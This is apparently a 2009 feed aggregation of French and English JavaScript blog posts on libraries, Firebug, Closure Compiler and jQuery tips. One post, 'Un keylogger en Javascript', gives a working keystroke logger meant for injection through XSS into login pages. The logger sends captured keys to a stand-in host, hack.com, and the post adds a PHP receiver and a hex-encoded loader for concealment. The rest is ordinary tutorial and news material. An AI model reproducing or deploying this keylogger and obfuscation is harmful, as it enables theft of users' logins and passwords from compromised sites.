"javascript" via neolao in Google Reader

Waooooooow, Ample SDK

2009-12-01T08:24:00Z

Ample SDK, a must-see:

cross-browser (Gecko, Webkit, Opera, Chrome, and even IE 5.5+ !!)
XInclude 1.0, XML Events 1.0, XML Schema, SMIL 3.0, REX 1.0, XBL 2.0 (!), SVG, XUL (cross-browser !), HTML5, XForms, ...
superb demos (SVG-based @shepazu in IE, wow...)
dual MIT/GPL licensing terms
open-source

Very, very impressive. Sincere congrats to Sergey Ilinsky and his team.

Un keylogger en Javascript

2009-12-01T07:00:53Z

Un keylogger est un petit programme malicieux qui enregistre, dans un fichier, tout ce qui est saisi au clavier par un utilisateur. Une personne malveillante peut ensuite y retrouver les divers logins et mots de passe de votre ordinateur. Cet article explique comment mettre en place un keylogger écrit en JavaScript.

L'intérêt de l'utilisation du langage JavaScript ici est multiple. Ainsi, si l'on découvre une faille de sécurité dans un site internet (faille XSS ou autres), il sera assez facile d'y injecter le bout de code sur une page de login par exemple.

Un hacker pourra ainsi collecter l'ensemble des logins/passwords des utilisateurs à leur insu. Des cas de ce type ont déjà été découverts pour des sites comme Facebook.

Un keylogger en Javascript

Voici un exemple de keylogger écrit en JavaScript :

<script language="javascript">
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);
</script>

Ici, le programme enregistre tout ce qui est saisi au clavier (fonction onkeypress) dans une variable temporaire appelée key. A côté de cela, la fonction setInterval attend une seconde avant de transférer les données vers un serveur distant.

Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :

<?php
if(!empty($_GET['c'])) {
  $f=fopen("log.txt","a+");
  fwrite($f,$_GET['c']);
  fclose($f);
}
?>

Dissimulation du keylogger

Le meilleur moyen pour dissimuler le code JavaScript malveillant consistera, dans un premier temps, à appeler un fichier distant :

<script language="javascript" src="http://hack.com/javascript.js"></script>

On pourra aller encore plus loin avec une conversion ASCII vers Hexadécimale du code JavaScript :

<script language='javascript'>document.write(unescape('3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%63%6f%6d%2f%6a%61%76%61%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'))</script>

Article original écrit par Sébastien Bilbeau et publié sur Tux-planet | Linux | ©Copyright - 2005 Toutes reproduction interdites. | Commentaires : 10

Afficher un élément HTML selon la position du scroll de la page avec jQuery

2009-11-25T16:58:08Z

Cette idée m’est venu quand je suis tombé sur le site de Hitomi Studio, une agence de création de site e-commerce sur Magento. Comme vous pouvez le voir quand vous parcourez le contenu, à une certaine position de la barre de défilement, un élément HTML apparait pour vous ramener vers le haut de la page.

Les sources étant compressées et vu qu’ils utilisent Mootools, je me suis demandé si c’était simple de le refaire avec jQuery.

$(function(){
        // Ajout de l'élément HTML en le cachant (au départ)
	$('
Retour en haut
').appendTo('body').css({opacity: 0});
	$(window).scroll(function(){ // On ajoute une fonction quand on défile dans le site
		// On récupère la position de la barre de défilement par rapport à notre fenêtre
		var scrollTop = $(window).scrollTop();
                // On ajoute une fonction au clique de notre élément.
		$('#scrolltotop a').click(function(){
	           // On lance l'animation pour retourner en haut de la page
	           $('html,body').stop().animate({scrollTop: 0}, 'slow');
		});
		// On récupère notre élément
		var div = $('#scrolltotop');
		if(scrollTop >= 300){ // Si on dépassé les 300 pixels
			if(div.css('opacity') == 0){ // et si la div est cachée
				div.stop().animate({opacity: 1}, 500); // On affiche l'élément
			}
		}else{
			// Sinon, on cache la div si celle ci est visible.
			if(div.css('opacity') > 0){
				div.stop().animate({opacity: 0}, 500);
			}
		}
	});
       // On lance l'évènement scroll un première fois au chargement de la page
	$(window).scroll();
});

Avec cette méthode, vous pouvez donc laisse la possibilité à l’utilisateur de retourner en haut de votre site sans utiliser la molette de sa souris et cela d’une manière très fluide et agréable !

Démonstration

Article original écrit par Dator et publié sur Dator.fr, le 2009. | Lien direct vers cet article | © Dator.fr - 2008
Mot clés: HTML, jQuery, UI

On element.dataset And data-* Attribute

2009-11-23T21:06:00Z

Why on earth? I mean why we should put a data-whatever attribute into our layout? Where is the good old MVC? How can you consider data-* more semantic? more semantic than what? Why we would like to kill truly semantic pages and graceful enhancements? Why we need JavaScript redundant info inside nodes attributes but we cannot understand a script tag in the middle of the page? Why in the performances matter era we would like to let users download stuff that they will probably never use?

What Am I Talking About

We can find the "magic" data attribute description in the W3C Semantics, structure, and APIs for HTML documents page. These days there is a page that is going around even too much ... finally somebody realized that this data-thingy is nothing different than what we could have always used since ages: XML.

Why We Are Doing Wrong

If we are enthusiast about a custom attribute able to bring whatever information, we should ask ourself why on earth we are not using simply XML plus XLS to transform nodes with custom attributes. Each node can be easily and quickly transformed, in the client side as well and in a cross browser way, via one or more cached XSLT able to create runtime whatever we need.
We need to sort the music file list via data-length attribute? No problems at all, we can reorder via DOM every node we need and put the XML fragment transformed via XSLT into a single HTML node in that page. Moreover, we can use modular XSL to transform branches or specific cases ... but that is too clean and professional, isn't it?

Data Used Via Selectors

Let's say we have 3 songs with the same length, taking the example from W3 page, OK?


<ol>
  <li data-length="2m11s">Beyond The Sea</li>
  <li data-length="2m11s">Beside The Sea</li>
  <li data-length="2m11s">Be The Sea</li>
</ol>

First of all that example is quite hilarious, to make a sort as fast as possible that kind of representation is not ideal, is it?
It does not matter, the point is that as soon as this stuff will be implemented, all jQuery users will start to think so semantic that everything will become a:


$("@data-whatever=whatevervalue").each(...)

Seriously ... if we want to make the web the worst semantic place ever, just put in medium skilled developers this kind of weapon, and we'll scream in few months HTML5 Failed!
Who will care anymore about the appropriate element when everything can be easily validated in the W3 for totally dirty and useless, for non JS users, layouts?

The Namespace War Has Started Already

I can imagine lots of new devs starting to use the data as if it is their own attribute, ignoring conflicts problem we've always had with the global namespace. Move this problem into the DOM, and the Cactus Jam is ready to eat.
On the other hand how best practice will be a DOM loads of nodes with multiple data attributes?


<div
   data-jquery-pluginname-good-stuff="$(this).whatever()"
   data-dojo-loadsync="thisNodeFile"
   data-prototype-valueof="Object.prototype.valueOf=this"
/>

... I mean ... seriously, is this the HTML5 we are talking about? An empty element there just to make the anti semantic magic happen?

Dozens Of Different Ways

First of all querySelectorAll.
The document method we all were waiting for is finally 90% here and rather than use semantic and logic selectors to retrieve what we need and when we need, we prefer to make the DOM that dirty? Are we truly so monkeys that we cannot spot a list of songs and order them by their length that will be 99.9% of the time part of that song info and accordingly present in the DOM as context?
Where are classes? Where are external resources totally ignored by those users which aim is simply the one to surf quickly, or to crawl info? data-whatever?

Why We Don't Need data-*

First of all, classes. If we have a list of songs the class songlist in the single outer UL or OL node is everything we need to retrieve that list and order by title, duration, everything else present in that list, since in whatever grid we have ever used, we order by columns where we know the column content.
How can a user even decide to order by length if this length is not displayed?
How can he order by something not even showed?
It's like me in a shop asking to order by palm trees a list of sounds systems ... I think they'll look at me like a mad person and they would be right, don't you agree?
So, the semantic part of this attribute does not exist. The same example showed in the W3 draft is ridiculous for the reason I have already said. If the song length info is already in the DOM and properly showed we don't need redundant info for every user, we just need a good sort function for that list of songs and nothing else.


$.fn.sort = function(){
    // proof of concept, not even tested
    // written directly here in the blogger textarea
    // don't try at home but please try to understand the logic
    var li = Array.prototype.slice.call(this);
    li.sort(function(a, b){
        return
            $(a).find(".length").text() < 
            $(b).find(".length").text() ?
        1 : -1
    });
    return $(li).each(function(i, li){
        li.parentNode.appendChild(li);
    });
};
$(".songs li").sort();

Is above proof of concept that different from a $(".songs @data-length").sort() ? It's even shorter!

Map The DOM If Necessary

If we are struggling that much with this "so much missed data-*" we can still use the class to map common info ... how?


<ol class="songs">
  <li class="map-0">Beyond The Sea</li>
  <li class="map-0">Beside The Sea</li>
  <li class="map-1">Be The Sea</li>
</ol>

If we need to attach properties into a DOM node we can still use the class attribute.
Semantic, classifying the node as a mapped one, not redundant, letting us provide more than once same kind of info for different nodes, and lightweight, avoiding data description provided by the mapped object.
In few words, and always via JavaScript, we can attach a file with this content:


var map=[{
    length:"3m21s",
    artist:"Nature"
},{
    length:"2m59s",
    artist:"You"
}];

For each node, when necessary, we could simply retrieve the associated map in this way:


function nodeInfo(node){
    return map[
        (
            /(?:^|\s)map-(\d+)(?:\s|$)/.exec(node.className) ||
            [0,-1]
        )[1]
    ];
};

And that's it. Each mapped node will return an object or undefined when nodeInfo function is called. Again, all this stuff is a proof of concept, but can we agree that data-* is just the wrong response to solve a JavaScript problem that should be solved everywhere except into the HTML?

what’s new in Firebug 1.5?

2009-11-17T14:57:22Z

This is a re-post from Rob Cambell’s personal weblog. Firebug 1.5 is the first release that will work with the upcoming Firefox 3.6 and also also works with Firefox 3.5. It’s currently in beta and will be available before the release of Firefox 3.6.

As of this minute, Firebug 1.5 is sitting comfortably in its third beta and available for download. This version is shaping up to be our best release yet and initial reports have been very positive regarding its stability, UI improvements and new features. So let’s take a look at some of the new features.

Improved Net Panel accuracy

One of the problems with Firebug’s Net panel in the past has been inaccurate timings. Because Firebug is entirely written in JavaScript some network and UI activity could block Firebug during long operations and cause the timings displayed there to be less than accurate. This has finally been corrected with the landing of a new service called the http-activity-distributor. For more details on the implementation and use of the newly-improved Net panel, see Honza’s blog post on the topic.

New Break Functionality

In Firebug 1.4, we introduced the concept of “break-on-next” to the Script panel. This was a “pause” button sitting between the inspect icon and the Console tab. In 1.5, we’ve extended this concept to the Console, HTML and Net panels to allow more exciting types of breaks.

In the Console, we’ve replaced the mini-menu Break-on-Errors option with the pause button. The reasons for this possibly contentious change was it made for a more consistent use of menus and the break button. Now, to enable Break on Errors, select the Console panel and hit the pause button. You’ll see that familiar glow to indicate that it’s waiting for an error. Now whenever an error occurs on the page, you’ll be dropped into the script panel at the line where the error occurred.

The HTML panel’s break button is a little different. This is the Break-on-Mutation feature. When this is enabled, whenever a bit of JavaScript modifies an HTML element, you’ll be taken to the Script panel and the modifying code while be highlighted. Related to this, you should be able to see modified HTML occurring in real-time in the HTML panel with affected elements and attributes being highlighted as they change in the page.

Finally in the Net panel, the break button acts as a Break-on-XHR button. This is intended to help debug AJAX apps by allowing you to halt the debugger during an XmlHttpRequest send. As in the other break types, you’ll be transported to the script panel when an XHR object fires off its request and you’ll be given the option to copy the message.

John Barton and Honza have written a great interactive demo page describing these new features on getfirebug.com.

Mixed Development

We made a few tweaks to the UI in this version. We replaced the “Off” label with a single “power” button (or window close button on Mac) as promised during the last release.
Kevin Decker added the search panel originally intended for version 1.4 with some nice options.
Persist option on Console and Net Panel. Save your data!
Improvements to the Inspector.
Still more to come. Between now and final release we plan on hunting down a few more bugs to make this even more stable. Feel free to download and give it a try.

Google Closure : premiers retours d'expérience

2009-11-13T14:33:26Z

goog.require

Cette fonction est à la base du système de paquets de Google Closure. D'une façon similaire à la fonction require_once de PHP, elle permet d'inclure les dépendances. Techniquement parlant, elle charge les scripts nécessaires en ajoutant des balises SCRIPT. Le problème c'est que le chargement de ces scripts se fait de façon asynchrone.

en lire plus

Et le meilleur moteur javascript est....

2009-11-10T17:01:00Z

On voit circuler ces slides sur des astuces pour les perfs en javascript, et on y voit notamment que les résultats de Firefox par rapport aux autres moteurs, notamment V8, ne sont pas folichons.

Cependant, comme beaucoup de benchmarks, ces résultats sont sujets à cautions, d'autant plus qu'ici :

On ne sait absolument quelles versions de chaque moteur sont mises en comparaison
Comparer SpiderMonkey, moteur d'ancienne génération (Firefox 3.0 et précédent), à V8, ce n'est vraiment pas "fair play". Il aurait pu prendre au moins TraceMonkey (Firefox 3.5). À moins qu'il confond dans les noms, mais ça m'étonnerai, car pour les quelques tests que j'ai effectué avec son script, les résultats de TraceMonkey sont plus proches de V8 que de IE (dernières versions stables des navigateurs).

Et puis bien sûr, aucune mention d'Opera.

Enfin, c'est bien beau d'avoir un moteur rapide, encore faut il qu'il soit en conformité avec la spécification Ecmascript. Ce qui est encore loin d'être le cas pour certains d'entre eux.

Optimiser les JavaScripts avec Google Closure Tools et Closure Compiler

2009-11-06T12:40:00Z

Google a toujours mis en avant la puissance de JavaScript pour proposer ses nouveaux services. On a pu le constater très rapidement au travers des applications web telles que GMail ou GMaps qui ont initialement jeté un pavé dans la mare des interactions offertes aux internautes et des possibilité offertes par JavaScript. Puis Google a lancé son propre navigateur, Chrome, tout en portant un soin particulier à son moteur d'interprétation open-source ECMAScript nommé V8 qui se veut un des plus performants .

Avec Closure Tools, c'est une nouvelle fois JavaScript qui est à l'honneur grâce à différents outils, notamment Closure Compiler sur lequel nous allons nous attarder. Notez que ceci n'a rien à voir avec un magazine people.

Closure Compiler

Initialement, Closure Compiler est un outil en ligne de commande programmé en Java (qu'il vous faudra posséder pour exploiter l'archive compiler.jar). Rappel : Java n'est pas JavaScript. Pour faire simple le premier est un langage de programmation compilé à l'instar du C++ pour concevoir des applications classiques (telles qu'OpenOffice) créé par Sun dans les années 1990; tandis que le second est un langage interprété par les navigateurs web pour enrichir l'interactivité des pages HTML créé en 1995 par Netscape.

Quel est le but de Closure Compiler ? L'efficacité : il réduit la taille des fichiers JavaScript, donc le temps d'interprétation et de chargement. Il vérifie le code, affichant des erreurs détaillées pour des instructions qui pourraient être mal rédigées ou mal interprétées, pour produire un script d'autant plus propre et conforme. Remarque : il a été ajouté à l'extension Page Speed pour évaluer le gain qu'il est possible de réaliser en appliquant ce service sur les scripts.

Une extension pour Firefox muni de Firebug, nommée Closure Inspector, ajoute différentes fonctionnalités à l'onglet Script pour faciliter la lecture et le débogage des scripts compressés avec Closure.

Un service en ligne est également disponible. Closure Compiler Service demeure le plus pratique pour optimiser rapidement les scripts. Soit par copier-coller dans le formulaire prévu à cet effet, soit en indiquant directement l'url d'un fichier, puis en cliquant sur Compile. Il suffit de récupérer le code source alors généré pour le remplacer dans votre application (veillez cependant à toujours conserver l'original, car il vous sera très difficile de revenir en arrière vers un code lisible).

Notez qu'il y a 3 modes d'optimisation :

Whitespace only, qui retire les commentaires et les espaces inutiles.
Simple, qui est le mode par défaut d'optimisation, n'interfère pas avec les autres scripts et librairies qui pourraient être présents sur la page.
Advanced, qui prend des libertés avec les noms de fonctions et de variables pour les compresser elles aussi. Attention, ceci modifiera en profondeur votre code qui risque de ne plus être correctement interprété, notamment s'il fait appel à d'autres frameworks (par exemple jQuery).

La documentation de Closure Compiler est bien fournie à ce sujet. Il est également possible d'exploiter ce service web via une API.

Closure Library

Closure Library est tout simplement une nouvelle librairie JavaScript, à l'instar de jQuery, MooTools, Prototype, Dojo ou Yahoo! UI pour étendre les fonctionnalités du navigateur et écrire des scripts plus rapidement avec une syntaxe et une API spécifique. On retrouve l'essentiel des outils qui peuvent permettre de déployer une application web : manipulation du DOM, widgets UI, événements, animation, json, édition wysiwyg etc, quel que soit le serveur et le navigateur.

Attention : cette librairie est encore jeune, et beaucoup de développeurs pointent déjà du doigt des défauts de performance. N'abandonnez pas vos librairies actuelles, performantes et éprouvées, telles que jQuery.

Closure Templates

L'objectif de Closure Templates est de simplifier la génération de code HTML avec des templates, c'est à dire séparer la présentation du contenu. Vous pouvez ainsi exploiter de petits composants pour générer les pages dynamiquement. La syntaxe est relativement abordable, on y retrouve des opérateurs, des boucles et des structures de contrôle. On peut déployer cette solution autant du côté client avec un JavaScript "précompilé", que du côté serveur à l'aide de Java. Closure Templates est déjà éprouvé par GMail et Google Docs et peut être utilisé en conjonction avec d'autres librairies sans créer de conflit.

Astuce JavaScript: afficher/masquer des colonnes d'un tableau HTML.

2009-08-29T09:19:00Z

Lorsque vous avez une grande quantité de colonnes dans un tableau, il peut être utile d'en masquer quelques-unes pour en faire une vue simplifiée du tableau.

Une des astuces consiste à utiliser la célèbre librairie JavaScript jQuery.
Tout d'abord, à l'intérieur des balises "head", on ajoute un sélecteur CSS (que je nommerai "hiddenCols", mais c'est au choix) qui par défaut va faire disparaître les colonnes choisies. J'utilise la balise "style" mais vous pouvez très bien le mettre dans un fichier CSS à part.

<style type="text/css">
.hiddenCols {
     display: none;
}
</style>

Toujours à l'intérieur de <head>, nous allons incorporer la librairie jQuery (téléchargeable ici).

<script type="text/javascript" src="jquery.js"></script>

Ensuite, à l'intérieur de <body>, nous allons créer un petit lien qui va permettre la permutation entre les deux vues (par défaut nous allons choisir la vue simplifiée).

<a href="#" id="msg">Vue détaillée</a>

Puis notre tableau...

<table border="1" cellspacing="0" cellpadding="3">
	<tr>
		<th>Entête 1</th>
		<th class="hiddenCols">Entête 2</th>
		<th>Entête 3</th>
		<th class="hiddenCols">Entête 4</th>
		<th>Entête 5</th>
	<tr>
	<tr>
		<td>Blabla 1</td>
		<td class="hiddenCols">Blabla 2</td>
		<td>Blabla 3</td>
		<td class="hiddenCols">Blabla 4</td>
		<td>Blabla 5</td>
	</tr>
	<tr>
		<td>Blabla 1</td>
		<td class="hiddenCols">Blabla 2</td>
		<td>Blabla 3</td>
		<td class="hiddenCols">Blabla 4</td>
		<td>Blabla 5</td>
	</tr>
	<tr>
		<td>Blabla 1</td>
		<td class="hiddenCols">Blabla 2</td>
		<td>Blabla 3</td>
		<td class="hiddenCols">Blabla 4</td>
		<td>Blabla 5</td>
	</tr>
	<tr>
		<td>Blabla 1</td>
		<td class="hiddenCols">Blabla 2</td>
		<td>Blabla 3</td>
		<td class="hiddenCols">Blabla 4</td>
		<td>Blabla 5</td>
	</tr>
</table>

Et enfin le script JavaScript.

$(document).ready(function(){
	$("a#msg").click(function(){
		if ($(".hiddenCols").css("display") == "none"){
			$(".hiddenCols").css("display", "table-cell");
			$("#msg").html("Vue simplifiée");
		} else {
			$(".hiddenCols").css("display", "none");
			$("#msg").html("Vue détaillée");
		}
	});
});

Le script est assez simple à comprendre. On associe l'événement "click" au lien précédemment crée, puis on effectue une condition sur le sélecteur ".hiddenCols". Si la valeur de l'attribut "display" est "none", on modifie la valeur en "table-cell" et le texte associé au lien, sinon on remet la valeur en "none" et le texte "Vue détaillée". Epicétou, comme dirait l'autre ! Voici la démo disponible ici.

"Hey, tu as bien écrit plus haut que c'est une des astuces possibles ?!"

Oui, il existe une autre astuce pour faire la même chose, qui ne nécessite pas l'utilisation de jQuery. Cette astuce consiste à récupérer dans une variable tous les sélecteurs ".hiddenCols" (grâce à getElementsByClassName('hiddenCols'); ou querySelectorAll('.hiddenCols');), à faire une boucle sur tous les sélecteurs et effectuer une condition similaire au script mis plus haut. Le hic dans tout ça est qu'il semble y avoir un problème d'implémentation de ces deux fonctions dans IE... Mais bon, tout le monde utilise un vrai navigateur tel que Firefox maintenant, non? :D.

Google met SVG dans Internet Explorer

2009-08-21T10:05:00Z

Google pousse sous les projecteurs le projet SVG Web avec une démo spectaculaire en vidéo. En gros, une bibliothèque JavaScript de 60Ko permet de mettre enfin du SVG dans Internet Explorer. C'est encore en version Alpha, mais c'est super prometteur. Pour les développeurs, Brad Neuberg propose une [vidéo d'une grosse demi-heure sur l'utilisation de SVG dans Internet Explorer avec SVG Web. On pourra regretter que la solution repose sur Flash 9 (mais des deux maux, ils faut choisir le moindre !).

Ext.EventObject.getRelatedTarget

2009-07-30T06:39:12Z

Il m'a fallu un peu chercher pour savoir à quoi sert cette méthode. La documentation d'ExtJS n'est en effet pas très explicite :

C'est là qu'on se rend compte qu'à force d'utiliser des bibliothèques Javascript pour éviter les problèmes de compatibilité entre les navigateurs, on en oublie les bases, c'est à dire le DOM. relatedTarget est en fait un attribut des événements DOM qui contient dans le cadre d'un événement mouseenter une référence à l'élément que la souris vient de quitter. Pour un événement mouseout, c'est l'élément dans lequel la souris vient d'entrer.

en lire plus

De Sandy3D au Javascript sous Chrome… à FlaHx3D

2009-07-17T08:09:06Z

Impressionnant portage de Sandy3D / Haxe (SandyHX pour les intimes) en Javascript, disponible en démo avec un Google Chrome et dont nous trouverons toutes les explications techniques ici et d’autres démos sur le hubfolio de Matthew Casperson : oui, oui, un moteur 3D qui affiche bien un meshe uniquement en Javascript dans la page web… Contrairement à cet exemple de février dernier, ici, le code JS ou flash est identique.

Le seul écueil reste qu’il n’est accessible qu’au travers du navigateur de Google…

Mais alors que devient Sandy3D qui migre petit à petit vers Haxe ? Je viens de tomber sur le nouveau blog de son papa, qui se lance dans un nouveau moteur Flash10 / Haxe pour le jeu pouvant cibler différentes plateformes à terme, nommé temporairement FlaHx3D. Au vu des premières démos de février dernier avec un fichier md2 animé, cela risque d’en intéresser plus d’un…

10 Useful Firefox Extensions to Supercharge Firebug

2009-06-20T18:13:35Z

Firebug is a revolutionary Firefox extension that helps web developers and designers test and inspect front-end code. It provides us with many useful features such as a console panel for logging information, a DOM inspector, detailed information about page elements, and much more.

Though Firebug is already fully packed with features out of the box, several extensions out there can enhance its utility. In this article, you will find the 10 best Firefox extensions for Firebug that will make your life, as a developer or designer, easier.

1. Pixel Perfect

Pixel Perfect allows you to overlay web layouts and other design compositions onto a web page so that you can accurately (and easily) write your CSS and HTML. By being able to toggle a web composition on or off, web developers and designers can have a visual guide for pixel-perfect accuracy of the position and dimensions of web page components. Check out the video demonstration to Pixel Perfect in action.

Install Pixel Perfect

2. Page Speed

Page Speed is an open source Firebug add-on for evaluating web page performance, giving developers suggestions on front-end performance optimizations they can carry out. Tests and evaluations are based on Google’s Web Performance Best Practices developed through Steve Sounder’s work. Make sure to read the Page Speed user guide for complete documentation of its many features.

Install Page Speed

3. CodeBurner

CodeBurner, released by SitePoint, extends Firebug to provide a built-in HTML and CSS reference. The extension also presents contextual information based on what is currently in Firebug’s CSS and HTML panels. The references are very helpful, showing you information about browser compatibility and W3C Recommendation compliance of page elements, among many other types of information.

Install CodeBurner

4. FireRainbow

FireRainbow is a simple Firebug extension that fills in a sorely desired function: code syntax highlighting. FireRainbow colorizes JavaScript, CSS, and HTML for improved readability of code being reviewed or inspected in Firebug. There are currently over 20 different FireRainbow themes that you can choose from, giving you some options for customization.

Install FireRainbow

5. Inline Code Finder

Inline Code Finder is great for hunting down inline JavaScript and CSS and is perfect for developers refactoring existing markup to separate structure (HTML) from style (CSS) and function (JavaScript). The usage of the tool is simple: it searches the entire web page for inline code and provides the developer with contextual information about the inline code it finds. The newest version gives you the ability to filter certain groups of inline code.

Install Inline Code Finder

6. Firecookie

Developing web applications that utilize cookies can be time-consuming. Firecookie, a Firebug extension, gives you a host of options and features strictly for working with cookies. The extension allows you to view, inspect, export, and manage cookies, log cookie events (creation, deletion, etc.), and much more. The latest version of Firecookie adds several improvements such as the ability to list only cookies sourcing from a subdomain.

Install Firecookie

7. FirebugCodeCoverage

FirebugCodeCoverage is a benchmarking Firebug extension inspired by Selenium IDE for determining the percentage of your code being executed for time duration, known as code coverage. This is typically measured during automated testing to see how well the test cases are able to thoroughly test your code (with higher percentages being your goal).

Install FirebugCodeCoverage

8. SenSEO

SenSEO is a Firebug extension that analyzes a web page and indicates how well it is doing for single-page whitehat search engine optimization. The extension checks for correct use of meta tags, presence of a title, headings, and other relevant criterions for optimal search engine optimization.

Install SenSEO

9. Yahoo! YSlow

YSlow evaluates a web page for performance and suggests potential places for improvements. YSlow is based on YDN’s Best Practices for Speeding Up Your Web Site and gives you letter grades on one of the three predefined (or user-defined) rule sets. It has a handful of useful features such as displaying information and statistics about web page components, and integration of optimization tools such as JSLint and Smush.it.

Install YSlow

10. Firefinder

Firefinder is for quickly finding web page elements that match CSS or Xpath selectors that you input as your search criteria. Firefinder is great for testing which page elements are affected by a CSS style rule as well as for highlighting and finding elements that match your searches.

Install Firefinder

jQueryList.com, la ressource ultime de plugins jQuery sur une seule page

2009-06-03T14:35:41Z

jQueryList.com est un nouveau site qui liste tous les plugins jQuery ainsi que les exemples pour les plugins sur une seule et même page !

Elle trie aussi les plugins en différentes catégories telles que :

Les plugins AJAX
Les plugins CSS
Les plugins pour les formulaires
Les plugins pour l’upload de fichiers
…

Un site vraiment impressionnant à mettre dans votre bookmarks !

Article original écrit par Dator et publié sur Dator.fr, le 2009. | Lien direct vers cet article | © Dator.fr - 2008
Mot clés: Ajax, CSS, Formulaires, Javascript, jQuery, Plugins, Upload

Générer des PDF avec Javascript avec jsPDF

2009-05-15T11:00:45Z

jsPDF est une librairie javascript qui permet la génération de fichier PDF simplement et rapidement !
Désormais vous pouvez générer vos fichier PDF simplement avec très peu de lignes de codes, par exemple :

var name = prompt('What is your name?');
var multiplier = prompt('Enter a number:');
multiplier = parseInt(multiplier);

var doc = new jsPDF();
doc.setFontSize(22);
doc.text(20, 20, 'Questions');
doc.setFontSize(16);
doc.text(20, 30, 'This belongs to: ' + name);

for(var i = 1; i < = 12; i ++) {
	doc.text(20, 30 + (i * 10), i + ' x ' + multiplier + ' = ___');
}

doc.addPage();
doc.setFontSize(22);
doc.text(20, 20, 'Answers');
doc.setFontSize(16);

for(var i = 1; i <= 12; i ++) {
	doc.text(20, 30 + (i * 10), i + ' x ' + multiplier + ' = ' + (i * multiplier));
}
doc.output('datauri');

Vous pouvez consulter des démonstrations ici et télécharger la librairie ici.

Article original écrit par Dator et publié sur Dator.fr, le 2009. | Lien direct vers cet article | © Dator.fr - 2008
Mot clés: Javascript, PDF

Le multi-lignes en Javascript

2009-05-10T07:00:39Z

Il est souvent pratique de stocker du HTML ou du texte dans une variable javascript mais c’est parfois chose ardu car il faut concaténé tout le contenu au fur et a mesure que l’on fait un retour a la ligne … pas très pratique.

Snook propose une alternative très intéressante que je ne connaissait pas ( et lui non plus d’ailleur ) comment faire du multi lignes en javascript.

var stock = 'Commencer ici\
continuer ici \
et finir ici. ';

Une petite astuce qui m’a convaincu et qui va vous ravir !

Article original écrit par Dator et publié sur Dator.fr, le 2009. | Lien direct vers cet article | © Dator.fr - 2008
Mot clés: Javascript

Un lecteur MP3 en Javascript avec jQuery avec le plugin jPlayer

2009-05-08T12:00:36Z

Un petit plugin pour lire vos mp3 avec jQuery ? Ca vous dit ?

jPlayer permet de gérer un lecteur mp3 simple ou un lecteur mp3 avec une playlist ! Le style CSS est entièrement modifiable et vous pouvez utiliser ce lecteur en pure texte !

Voici les démonstrations .

Et le lien pour télécharger le plugin .

Article original écrit par Dator et publié sur Dator.fr, le 2009. | Lien direct vers cet article | © Dator.fr - 2008
Mot clés:

La cheat Sheet de jQuery 1.3.2

2009-05-08T09:13:22Z

La nouvelle anti-sèche de jQuery 1.3.2 vient de sortir !

Voici les 3 sources de téléchargement:

Article original écrit par Dator et publié sur Dator.fr, le 2009. | Lien direct vers cet article | © Dator.fr - 2008
Mot clés: Cheat Sheets, jQuery

Astuce JavaScript: désactiver l'historique de saisie d'un (ou plusieurs) champ(s) de texte.

2009-05-05T22:00:00Z

Un beau jour, vous avez décidé d'implémenter votre propre moteur de recherche avec suggestions de mots-clés grâce à de l'AJAX (à la manière d'un Google Suggest). Par défaut, lorsque vous soumettez plusieurs recherches, un historique de saisie s'affiche par défaut en-dessous du champ de texte. Comme vous pouvez vous en douter, ceci peut vite s'avérer assez gênant vu que l'historique de saisie risque de masquer votre liste de suggestions de mots-clés. Voici une astuce pour éviter cela.

L'astuce consiste à utiliser un petit bout de code JavaScript. Voici ce code:

window.onload = function() { var inputs = document.getElementsByTagName('input'); for(var i = 0; i < inputs.length; i++) { if(inputs[i].type == 'text') { inputs[i].setAttribute('autocomplete', 'off'); }; }; };

On va créer une fonction qui va être exécutée au chargement de la fenêtre (window.onload). À l'intérieur de cette fonction, on récupère tous les champs de texte de la page (en HTML, ce sont des balises "input" de type "text") dans une variable. On boucle sur tous les éléments "input", et si l'élément "input" est de type "text", on fixe l'attribut "autocomplete" à la valeur "off". Ainsi, l'historique de saisie disparaîtra du (ou des) champ(s) de texte :-).

20 Excellent JavaScript Navigation Techniques and Examples

2009-05-01T10:15:20Z

JavaScript allows you to add interactivity and feedback, making the user’s experience better and more intuitive.

Recently we showed you some exceptional CSS navigation techniques and we’d like to follow that up with an article about JavaScript-based navigation examples that you can use. Keep in mind that some of these techniques might not work if the client browser has JavaScript turned off (on average, 5% of users have JS disabled according to W3 web statistics).

In this article you’ll discover some terrific and unique JavaScript-powered navigation techniques and examples.

Tip: clicking on each image will take you directly to the demo page of the navigation menu technique if it’s on a separate page. Their names will take you to their project web page.

1. MenuMatic

This example takes semantic ordered or unordered list of links and turns it into a dynamic drop down menu system that can be vertically or horizontally oriented.

View Demo Page

2. Animated Menu using jQuery

A technique for animating menu items when a user hovers over them. Source files, including the PSD file, are available to download.

View Demo Page

3. Garagedoor Effect using jQuery

Gaya Kessler presents a wonder JavaScript menu that mimics the real garage door using jQuery.

View Demo Page

4. JGlide Menu

A very unique menu that floats on the page. Users can drag it to a position they desire.

View Demo Page

5. Vertical Sliding jQuery Menu

HVDesigns presents a menu that drops down and reveals more links.

View Demo Page

6. Perspective Tabs

You can have scrolling tabs with animation using this technique.

View Demo Page

7. Vertical Digg-like Menu

Antonio Lupetti presents a Digg-like menu that uses simple JavaScript.

8. LavaLamp

When you hover an item, you’ll see the CSS sliding door technique created using jQuery. An alternate version for MooTols can be here.

9. Fisheye Menu

If you’re a big fan of the Mac dock you will enjoy this menu.

10. Simple JavaScript Accordions

A great technique for integrating accordion-style menus into your site.

View Demo Page

11. Sliding JavaScript Menu Highlight

This sliding hover effect script is an easy technique for highlighting menu items.

12. Fading Menu - Replacing Content

This technique allows you to fade in and fade out menu items.

View Demo Page

13. Simple Multi-level Drop-Down Menu

A simple JavaScript drop down menu tutorial.

14. Using jQuery for Background Image Animations

A technique for creating animated menus using jQuery and CSS background-position properties.

View Demo Page

15. Mootools Redux

A menu using MooTools that expands the link’s font size when you mouse over the item.

View Demo Page

16. HoverAccordion/Sidebar Menu

This is an accordion plugin which can be used as a vertical sidebar menu too.

